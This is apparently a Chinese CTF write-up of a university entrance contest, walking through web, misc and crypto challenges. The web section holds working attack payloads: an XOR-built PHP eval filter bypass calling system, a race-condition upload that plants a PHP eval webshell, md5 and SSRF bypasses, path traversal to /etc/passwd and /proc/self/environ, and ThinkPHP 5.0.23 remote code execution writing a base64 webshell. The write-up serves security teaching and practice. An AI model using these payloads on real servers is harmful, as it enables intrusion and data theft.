Web
学习高数
资料:命令执行中关于PHP正则表达式的一些绕过方法_正则表达式中过滤的怎么绕过-CSDN博客
记 [CISCN 2019 初赛]Love Math三种解法-CSDN博客
WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘_代码执行 异或绕过-CSDN博客
浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客
1.根据提示,有10000个页面,index1.html...,并且经过测试发现几乎所有的页面回显的内容都一样,这个时候就会想到会不会有不同页面的情况
2.这里使用bp进行爆破,发现8887页面的回显内容不一样
3.访问cvFXZohgjf这个文件,得到php代码,接下来就是代码审计
<?php
error_reporting(0);
//你的高数怎么样
if(!isset($_GET['GS'])){
show_source(__FILE__); //这部分代码检查URL参数GS是否已设置。如果没有设置,它将使用show_source()函数显示当前文件的源代码
}else{
//例子 GS=20-1
$content = $_GET['GS'];
if (strlen($content) >= 60) {
die("不是哥们"); //代码首先获取GS参数的值,并检查其长度是否小于60个字符。如果长度超过或等于60个字符,则脚本终止并显示消息“不是哥们”。
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("新号别搞");
}//代码定义了一个黑名单,包含了一系列不允许在GS参数中出现的字符。然后,它遍历这个黑名单,使用正则表达式检查$content中是否包含这些字符。如果找到任何黑名单中的字符,脚本将终止并显示“新号别搞”。
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("虾啊");
}//代码定义了一个白名单,包含了一系列允许在GS参数中使用的PHP数学函数。然后,它使用正则表达式提取$content中所有可能的函数名,并将这些函数名与白名单进行比较。如果$content中包含任何不在白名单中的函数,脚本将终止并显示“虾啊”。
}
eval('echo '.$content.';'); //最后,如果通过了所有安全检查,代码将使用eval()函数执行$content中的PHP代码,并通过echo输出执行结果。
}
要求:
1.字符长度
2.过滤字母、部分特殊符号,注意这里虽然过滤了部分字符,但是没有过滤^,所以我们可以异或取反创造我们想要的字母
3.绕过preg_match_all
4.既然没有ban ^符号,那么我们就可以通过异或构造想要的字母
给出脚本:
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "\n";
}
}
}
5.构造payload,得到flag
?GS=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
你能跟上我的speed吗
资料:第二个资料是使用的方法,比较有用
文件上传-条件竞争-DoraBox_12333119的技术博客_51CTO博客
1. 经过测试,发现文件上传之后得到的都是同一张图片,根据题目的意思,发现是和速度有关,想到文件上传类型中的条件竞争,上传文件写入一句话木马:
<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[cmd]);?>');fclose($op);echo(333) ?>
使用fopen函数以追加模式("a+")打开名为"shell.php"的文件。
如果文件不存在,将会创建该文件。
"a+"模式意味着文件指针会放在文件的末尾,用于追加内容,但也可以读取文件。
使用fwrite函数向打开的文件中写入PHP代码。
这段代码是一个简单的PHP后门,它使用eval函数执行通过POST请求发送的名为"cmd"的参数的内容。
@符号用于抑制错误消息的显示,即使执行了非法的PHP代码,也不会在输出中显示错误信息。
使用fclose函数关闭文件指针。
2.抓包上传文件的请求并发送到intruder
3.抓包访问上传文件的路径
4.两处的payload type都设为null payloads,payload setting选择Continue indefinitely(无限循环抓包)
5.两边同时爆破,在文件上传路径页面爆到显示333页面停止
6.发送到repeater,更改1.php为shell.php
7.最后使用蚁剑连接,成功连接
8.找到flag
ezezssrf
1.进入页面是php代码,进行代码审计
一共有四个地方需要绕过:
第一处:md5的弱比较绕过,使用数组绕过
yunxi[]=1&wlgf[]=2
第二处:强制转换成字符串型的md5的强比较绕过
参考:md5强比较&弱比较-CSDN博客
第三处:ssrf的相关绕过(@)
GLG=http://blog.csdn.net@127.0.0.1
第四关:无回显的RCE,tee命令
cmd=cat /flag | tee 1.txt
2.构造payload
yunxi%5B%5D=1&wlgf%5B%5D=2&yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt
3.抓包进行传参
4.页面访问这个txt文件,得到flag
小小py
资料:任意文件下载、文件读取_poc-yaml-hanming-video-conferencing-file-read wind-CSDN博客
Web漏洞-任意文件读取漏洞-CSDN博客
任意文件读取漏洞的利用指南 - 简书
[第一章 web入门]afr_3_ctfhub web afr-3-CSDN博客
考查:任意文件读取、session伪造、目录穿越
1.打开页面,题目的大致意思是我有1336金币,买flag需要1337金币,点击上面的大图,会直接下载图片
2.用bp抓包,发现图片的下载路径
3.尝试任意文件读取,../../../../etc/passwd
如果存在回显,则代表该网站存在任意文件读取漏洞
4.接着查看当前进程运行的环境变量/proc/self/environ,得到flag
真正的hacker!(flag1) (flag2)
资料:https://www.cnblogs.com/arrest/articles/17515491.html
1.打开页面,发现有ThinkPHP V5的字样
2.一般遇到ThinkPHP框架,就要搜索相关的版本的漏洞,传参?s=1,出现具体的版本,5.0.23,那么就搜索相关版本的漏洞,发现是远程代码执行漏洞
3.get传参?s=captcha,post传参,查看系统信息以及使用的相关命令
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
但是我们要知道文件写到哪里,先pwd查看下目录:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
注意:这里ls,发现可疑的uploads,刚好这里涉及到远程代码执行漏洞
4.查看根目录,发现flag1
5.获得flag1
6.发现页面提示如果要得到第二个flag,就要进行getshell,既然知道了路径,又可以写了一个文件,于是就写入webshell ,但是发现页面报错
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo <?php @eval($_POST['cmd']); ?> >>/var/www/public/shell.php
7.发现行不通,可能是什么东西被过滤了,试试base64的,发现蚁剑连接,连接成功
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" |base64 -d > /var/www/public/uploads/shell.php
8.这样可以找到两个flag
文件上传
参考:SUCTF2019 upload-lab2
云曦2024秋季开学考-CSDN博客
1.首先在admin.php中找到有关flag的地方
2.很明显要触发__wakeup()魔术方法,触发__wakeup()就需要触发反序列化
misc
misc1
1.解压之后得到pcap文件,发现一个长度规律,两个稍微比较长的会夹着一个比较短的
2.追踪数据流,发现长度短的隐藏着flag的信息
3.将含有信息的追踪流拼接在一起,得到flag
flag{7823yed-3892hu-7euiwb-euwidbh82-7ueidw}
misc大杂烩
第一部分(盲水印)
flag1{hdy12-
第二部分(word隐藏文字)
打开需要查找隐藏内容的word文档,按【Ctrl+A】全选文档,然后单击鼠标右键,点击【字体】,打开“字体”对话框。在“字体”对话框中,将“效果”栏下的【隐藏】取消勾选,然后点击【确定】,这样文档中隐藏的文字就全部取消隐藏状态并显示出来了,且可以在打印中显示出来,方法很多,可自行查找
flag2{1yhgzc5-
第三部分(文件头修改+base64转图片)
拖进010editer中发现是base64编码,这个时候想到base64转图片
解码之后是一张二维码
解这个二维码
flag3{Ypt0a2-
第四部分(Deepsound音频隐写)
flag4{ghj8-
第五部分(掩码爆破+埃特巴什码解密)
发现第五部分加密,用密码解密,把掩码进行爆破
成功打开文件
这个是埃特巴什码解密
flag5{7ugak-
考点6(文件16进制颠倒)
用winhex打开,发现里面的字符反过来可以正常阅读,所以文件被倒置了,利用python进行倒置回来
相关脚本:
with open("原文件位置","rb") as fs:
with open("flag","wb") as f:
f.write(fs.read()[::-1])
将文件改成zip文件,得到第六部分
Flag6: 78uiag}
Yunxi{hdy12-1yhgzc5-Ypt0a2-ghj8-7ugak-78uiag}Yunxi{hdy12-1yhgzc5-Ypt0a2-ghj8-7ugak-78uiag}
misc2
Crypto
mmmd5
1.打开txt文件,发现一个规律,每一串数字用md5解出来就是flag,可以直接一个一个找,也可以写脚本,进行解码
大佬的payload:
import hashlib
# 给定的 MD5 哈希值列表
output = ['0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
# 常见字符及其 MD5 哈希值的字典
common_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-"
md5_dict = {hashlib.md5(char.encode()).hexdigest(): char for char in common_chars}
# 还原原始字符串
flag = ''.join(md5_dict.get(md5_hash, '?') for md5_hash in output)
print("Flag:", flag)
babycrypto
原题:https://blog.csdn.net/2301_82327951/article/details/138328929
本质就是将flag转二进制再用0填充,得到514位加密后二进制串,再将二进制翻转后进行加密程序custom_add,最后直接输出结果。
加密程序是按位置值进行加法后取模,于是反向得到解密方案即按位加上(10-位置值)后再对10取模,接着利用现成的翻转函数,从而得到填充后的二进制数。不确定填充了多少0,保险起见手动从最后一个1开始去0再转字节型字符串,若不成功就加一位0,不过不需要加。
from Crypto.Util.number import *
from tqdm import *
b = 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567799012455779902334677900124556899012356679001344567990233457780113445788911245667991134457799122355788001245578890223467799013445688902335578800123457889113346778902344567991223557880013355689911245667900124556789122355788001234678891133467799023445679902334568900123556899012456679001344578801233467789112355779912234577990233556780113
c = list(map(int,str(b)))
#part1 reverse custom
for i in range(len(c)):
c[i] = (c[i] - 1 - i) % 10
#part2 recover swap
for i in range(len(c)//2):
temp = c[i]
c[i] = c[511-i]
c[511-i] = temp
#part3 get flag
flag = "0" + "".join(list(map(str,c)))[:-1]
print(long_to_bytes(int(flag,2)))